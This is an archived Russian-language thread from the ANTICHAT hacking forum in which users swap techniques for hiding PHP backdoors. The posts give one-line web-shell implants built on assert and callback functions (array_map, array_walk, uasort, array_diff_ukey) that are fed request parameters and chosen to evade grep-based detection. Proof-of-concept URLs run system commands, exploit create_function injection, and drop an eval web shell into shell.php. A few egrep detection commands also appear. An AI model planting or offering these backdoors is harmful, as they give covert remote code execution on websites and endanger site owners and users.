ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

11.01.2012, 17:09
|
|
Guest
Сообщений: n/a
Провел на форуме: 40748
Репутация:
78
|
|
Сообщение от Ereee
Ereee said:
>У тебя по сути всегда будет $a!=$b.
С чего это вдруг?
Потому что $b _не_была_ установлена ранее. Теперь все ок.
Ну не нравится eval, есть куча других возможностей исполнить код.
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]assert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);
[/COLOR][/COLOR]
|
|
|
|

11.01.2012, 17:11
|
|
Guest
Сообщений: n/a
Провел на форуме: 262707
Репутация:
935
|
|
Сообщение от Boolean
Boolean said:
Потому что $b _не_была_ установлена ранее. Теперь все ок.
Ну не нравится eval, есть куча других возможностей исполнить код.
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]assert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);
[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]egrep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]H[/COLOR][COLOR="#DD0000"]"assert\("[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]find . -type f -name "*.php" -print[/COLOR][COLOR="#007700"]`[/COLOR][/COLOR]
|
|
|
|

11.01.2012, 17:30
|
|
Guest
Сообщений: n/a
Провел на форуме: 40748
Репутация:
78
|
|
Сообщение от Expl0ited
Expl0ited said:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]egrep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]H[/COLOR][COLOR="#DD0000"]"assert\("[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]find . -type f -name "*.php" -print[/COLOR][COLOR="#007700"]`[/COLOR][/COLOR]
ололо.
Во-первых assert ищут крайне редко.
Во-вторых, "shell" бы также нашли. =\\
В-третьих это в любом случае лучше чем та втыкалка шелла, что предложил Ereee 5 постов выше.
upd:
а
Код:
Code:
assert ($_GET['lol'])
уже не найдет. пичалько.
|
|
|
|

11.01.2012, 17:35
|
|
Guest
Сообщений: n/a
Провел на форуме: 262707
Репутация:
935
|
|
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]egrep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]H[/COLOR][COLOR="#DD0000"]"assert|eval"[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]find . -type f -name "*.php" -print[/COLOR][COLOR="#007700"]`[/COLOR][/COLOR]
Хорошо спрятан тот бекдор, который не возможно найти средствами автоматизации.
|
|
|
|

11.01.2012, 17:36
|
|
Guest
Сообщений: n/a
Провел на форуме: 102354
Репутация:
267
|
|
1) $_GET lol.
2) egrep -H "assert" `find . -type f -name "*.php" -print` lol.
3) lol
|
|
|
|

16.01.2012, 18:30
|
|
Guest
Сообщений: n/a
Провел на форуме: 40748
Репутация:
78
|
|
Эдакий eval на основе «бага» php.
create_function - по своей сути обычный eval.
Сам код:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]uasort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);
[/COLOR][/COLOR]
PoC:
Код:
Code:
re_password=phpinfo();&login[]=};eval($_REQUEST['re_password']);//&login[]=$b, $a&password=create_function
|
|
|
|

16.01.2012, 18:41
|
|
Guest
Сообщений: n/a
Провел на форуме: 262707
Репутация:
935
|
|
Сообщение от Boolean
Boolean said:
Эдакий eval на основе «бага» php.
create_function - по своей сути обычный eval.
Сам код:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]uasort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);
[/COLOR][/COLOR]
PoC:
Код:
Code:
re_password=phpinfo();&login[]=};eval($_REQUEST['re_password']);//&login[]=$b, $a&password=create_function
это не баг, это обычная callback функция
|
|
|
|

16.01.2012, 18:44
|
|
Guest
Сообщений: n/a
Провел на форуме: 40748
Репутация:
78
|
|
Сообщение от Expl0ited
Expl0ited said:
это не баг, это обычная
callback
функция
под багом я понимал не каллбак, а сам баг сreate_function:
https://bugs.php.net/bug.php?id=48231
|
|
|
|

16.01.2012, 22:16
|
|
Новичок
Регистрация: 21.12.2009
Сообщений: 0
Провел на форуме: 15756
Репутация:
0
|
|
Сообщение от Boolean
Boolean said:
под багом я понимал не каллбак, а сам баг сreate_function:
https://bugs.php.net/bug.php?id=48231
Насчёт "бага" там отличный ответ разработчиков. Лучше пожалуй и не скажешь
|
|
|

18.01.2012, 11:42
|
|
Guest
Сообщений: n/a
Провел на форуме: 40748
Репутация:
78
|
|
«callback похождения»
Небольшой наборчик функций, которые при обычных условиях не вызывают подозрений.
Все параметры могут быть также вынесены в отдельные переменные, для уменьшения подозрительности.
array_map, array_filter, array_walk
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_map[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]Или
[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_filter[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]Или
[/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_walk[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]Кому как[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]что лучше смотрится[/COLOR][COLOR="#007700"].
[/COLOR][/COLOR]
PoC:
Код:
Code:
http://localhost/test.php?login=system&password[]=type+test.php
array_diff_ukey
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]@[/COLOR][COLOR="#0000BB"]array_diff_ukey[/COLOR][COLOR="#007700"](@array((string)[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]] =>[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]), @array((string)[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'re_password'[/COLOR][COLOR="#007700"]] =>[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'login'[/COLOR][COLOR="#007700"]]);
[/COLOR][/COLOR]
от callback функции требуется принятие 2 параметров, поэтому необходимо приготовить такую функцию, например file_put_contents.
PoC:
Код:
Code:
http://localhost/test.php?login=file_put_contents&password=shell.php&re_password=%3C?php%20eval%28$_REQUEST[cmd]%29;%20?%3E
В файле shell.php будет «евальник».
Или же PoC[2], опять же "баг" с create_function:
Код:
Code:
http://localhost/test.php?login=create_function&password=$a, $b&re_password=}phpinfo();//
Результатом будет являться выполнение phpinfo();
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|